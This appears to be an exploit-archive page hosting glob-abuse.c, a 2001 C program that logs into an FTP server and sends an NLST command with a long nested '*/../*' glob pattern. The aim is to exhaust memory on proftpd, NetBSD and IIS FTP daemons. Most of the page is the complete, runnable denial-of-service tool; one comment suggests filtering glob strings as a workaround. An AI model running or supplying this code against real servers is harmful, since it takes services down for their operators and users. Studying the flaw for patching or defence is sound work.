what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

glob-abuse.c

glob-abuse.c
Posted Mar 19, 2001
Authored by R00T-dude

This code exploits a bug in the glob() function used in some ftpd's (like proftpd, netbsd ftpd, iis ftpd). It sends a 'ls' command for which will take up about 100% of a systems memory, creating a very effective dos.

tags | exploit
systems | netbsd
SHA-256 | 7f1cdb3862da20f5231d975f2a3cbd7fb8960b8beeaf13ca49ae65058f1a1479

glob-abuse.c

Change Mirror Download
/*
* This code exploits a bug in the glob() function used
* in some ftpd's (like proftpd, netbsd ftpd, iis ftpd, ...)
* it sends a 'ls' command for * /../*
* which will take up about 100% of a systems memory and
* creating a VERY effective DoS !
*
* a workaround for this DoS is to filter out strings that
* can be used to abuse the glob() function !
*
* This program was coded by R00T-dude
*
* Greetz to: f0bic, incubus, t-omicron, nostalgic, zym0t1c,
* tosh, vorlon, cicero, sentinel, shaolin_p, so many others !
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>

#define USER "anonymous" /* change if needed */
#define PASS "rdude@just.dossed.y0u.org" /* change if needed */
#define PORT 21 /* change if needed */
#define DELAY 2

main(int argc, char **argv)
{
int sock, conn, i;
char buffer[250];
char user[30];
char pass[30];
struct hostent *hp;
struct sockaddr_in sin;

if (argc < 2)
{
printf("useage :: %s ip/hostname ", argv[0]);
printf("example : %s 127.0.0.1 \n", argv[0]);
exit(0);
}

if ((hp=gethostbyname(argv[1])) == NULL )
{
perror("gethostbyname() failed :");
exit(-1);
}

sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
perror("socket() failed :");
exit(sock);
}

sin.sin_family = AF_INET;
sin.sin_port = htons(PORT);
sin.sin_addr.s_addr = inet_addr(argv[1]);

conn = connect(sock, (struct sockaddr *)&sin, sizeof(sin));

if (conn < 0)
{
perror("connect() failed :");
exit(conn);
}
printf("ok, connected, lets's log in shall we ... \n");

sprintf(user, "USER %s\r\n", USER );
sprintf(pass, "PASS %s\r\n", PASS );

write(sock,user,strlen(user));
printf("sended : %s", user);
sleep(DELAY);
write(sock,pass,strlen(pass));
printf("sended : PASS ");
for (i=0; i < strlen(PASS); i++)
{
printf("*");
}
printf("\n");
sleep(DELAY);

bzero(buffer, sizeof(buffer));
sprintf(buffer, "EPSV\n");
write(sock,buffer,strlen(buffer));
printf("sended : %s", buffer);
sleep(DELAY);

bzero(buffer, sizeof(buffer));
sprintf(buffer, "PASV\n");
write(sock,buffer,strlen(buffer));
printf("sended : %s", buffer);
sleep(DELAY);

bzero(buffer, sizeof(buffer));
sprintf(buffer, "NLST */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*\n");
write(sock,buffer,strlen(buffer));
printf("sended : %s", buffer);
sleep(DELAY);
close(sock);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close